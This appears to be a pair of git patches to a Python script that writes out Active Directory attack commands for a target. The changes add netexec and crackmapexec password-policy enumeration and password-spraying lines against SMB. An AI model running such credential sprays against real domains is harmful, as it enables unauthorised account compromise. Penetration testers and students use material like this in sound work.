From d188938402e84cda64a87acac224e4fd767998c0 Mon Sep 17 00:00:00 2001 From: se0hax Date: Fri, 16 May 2025 16:25:40 +0300 Subject: [PATCH 1/2] Update filler.py Resolved a typo in the initial script (line 120 users.txt to passwords.txt) and added password policy enumeration. --- filler.py | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/filler.py b/filler.py index a0f5589..bdb23cf 100644 --- a/filler.py +++ b/filler.py @@ -103,12 +103,21 @@ def create_ad_enumeration_file(target_ip, hostname, domain, local_ip, user, pass f.write(f"faketime -f +7h powerview {domain}/{user}@{target_ip} -k --no-pass --dc-ip {target_ip}\n") f.write("\n") + # Password Policy Enumeration + f.write("## Password Policy Enumeration\n") + if user and password: + f.write(f"netexec smb {target_ip} -u '{user}' -p '{password}' --pass-pol\n") + f.write(f"crackmapexec smb {target_ip} -u '{user}' -p '{password}' --pass-pol\n") + else: + f.write(f"# Requires credentials for password policy enumeration\n") + f.write("\n") + #Password spraying f.write("# Password Spray\n") if user and password: f.write(f"netexec smb {target_ip} -u users.txt -p '{password}' --continue-on-success\n") else: - f.write(f"netexec smb {target_ip} -u users.txt -p users.txt --continue-on-success\n") + f.write(f"netexec smb {target_ip} -u users.txt -p passwords.txt --continue-on-success\n") f.write("\n") #RemotePotato check commands From 9c51e431b82e3d0d0664be3f2ff6710e8143c764 Mon Sep 17 00:00:00 2001 From: se0hax Date: Sat, 17 May 2025 14:51:13 +0300 Subject: [PATCH 2/2] Updated password sprays Updated password sprays to include both spraying users.txt and passwords.txt --- filler.py | 1 + 1 file changed, 1 insertion(+) diff --git a/filler.py b/filler.py index bdb23cf..541c258 100644 --- a/filler.py +++ b/filler.py @@ -118,6 +118,7 @@ def create_ad_enumeration_file(target_ip, hostname, domain, local_ip, user, pass f.write(f"netexec smb {target_ip} -u users.txt -p '{password}' --continue-on-success\n") else: f.write(f"netexec smb {target_ip} -u users.txt -p passwords.txt --continue-on-success\n") + f.write(f"netexec smb {target_ip} -u users.txt -p users.txt --continue-on-success\n") f.write("\n") #RemotePotato check commands